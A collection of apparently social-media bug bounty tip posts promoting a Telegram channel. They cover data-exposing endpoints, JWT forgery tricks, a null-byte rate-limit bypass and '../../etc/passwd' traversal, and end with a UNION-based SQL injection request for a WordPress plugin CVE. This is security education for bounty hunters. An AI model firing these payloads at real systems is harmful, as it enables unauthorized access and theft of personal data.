When we hit the 1K subscribers i will start sharing tips here , invite all your contacts 🔥🐞💰

Zero click ATO

When testing API endpoints, try removing parts of the URL to check for unexpected data exposure.
Example: /api/endpoint/{id} ➡️ /api/endpoint/
Sometimes the parent endpoint spills ALL the data!
🐞Join my Telegram Channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

🐞Bug🐞:Debug mode leak Phpmyadmin USER NAME AND PASSWORD🔥

Tip💁‍♂️: try check every Dir. to check if the Debug mode is on.

🐞Join my Telegram Channel for more tips and to stay updated🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Tip: add "%00" after the email and you will bypass the RL if its based in the email value.

💥 Bug Bounty Tip: Exposing Weak JWT Implementations 💥

A flawed JWT can open the door to account takeovers, privilege escalation, and critical security risks! Let’s break down how to spot these vulnerabilities.

🔑 Vulnerabilities to Test:

🔹 None Algorithm Bypass: Change the JWT header to "alg": "none" and remove the signature. If it’s still accepted — jackpot! 🎉

🔹 Brute-Force Weak Secrets: Crack weak signing keys with tools like jwtcracker, hashcat, or John the Ripper. A short or common key? You’re in.

🔹 Kid Parameter Injection: Tamper with the kid (Key ID) parameter — use path traversal (../../etc/passwd), local file inclusion, or even command injection.

🔹 JWK Manipulation: Host a rogue JSON Web Key and try to convince the server to trust your malicious key.

🔹 Algorithm Confusion Attack: Test if the server accepts HS256 signatures on tokens meant for RS256. This often leads to key substitution vulnerabilities.

🔹 Expired Token Acceptance: Check if the server still accepts tokens long after they’ve expired — a serious session management flaw.

🔹 Token Forgery: Remove or alter the signature — if the server still trusts the token, you’ve found a critical P1! 🚀

🎯 Pro Tip: Always test JWTs on both the client and server side — sometimes, the weakest links hide in unexpected places.


🐞Join my Telegram Channel for more tips and to stay updated🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHard

🐞Bug🐞: claim "admin" username lead to access admin account🔥

Tip💁‍♂️: Try register "admin" username to access admin account

🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞:An unauthenticated API endpoint exposes sensitive users data using email address
Tip💁‍♂️:check .js file to find some urls for related services
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

⚠️WebSocket PII Exposure⚠️
WebSockets can expose Personally Identifiable Information if not handled securely.

Tip💁‍♂️: Always check the WS responses for PII

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

I was awarded a $1,000 bounty on @Hacker0x01 🪅

Tip💁‍♂️: Check for all smuggling types during your Tests.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: POST REQUEST SQLI with full data dump

Tip💁‍♂️: test for sqli on all authenticated POST requests parameters

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: PII LEAK
Tip💁‍♂️: Always read the source of the pages and check every endpoint⚠️🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the page🚨

Bug🐞: PII LEAK on Unprotected Endpoint.
Tip💁‍♂️: Always read the source of the pages and check every endpoint🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

🔥🔥Again🔥🔥

Bug🐞: PII LEAK on Unprotected Endpoint.[3K records]
Tip💁‍♂️: Always read the source of the pages and check every endpoint🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: IDOR lead to leak agent data and messages.
Tip💁‍♂️: FUZZ 1st and second and 3rd /dir.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.

Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:


---

PoC: Unauthenticated SQL Injection

Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456

HTTP Request PoC

POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+

Explanation:

The plugin registered an AJAX action qsm_get_questions accessible without authentication.

The question_id parameter is vulnerable to SQL injection.

The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).



---

References:

Patchstack Advisory

NVD - CVE-2021-24456

WPScan Advisory



---

Happy to join the 10K Reputation Points Club @Hacker0x01 🪅🎉

I thank this great platform for the wonderful opportunities it offers us🔥🫡

🐞Join my Telegram channel for BB tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder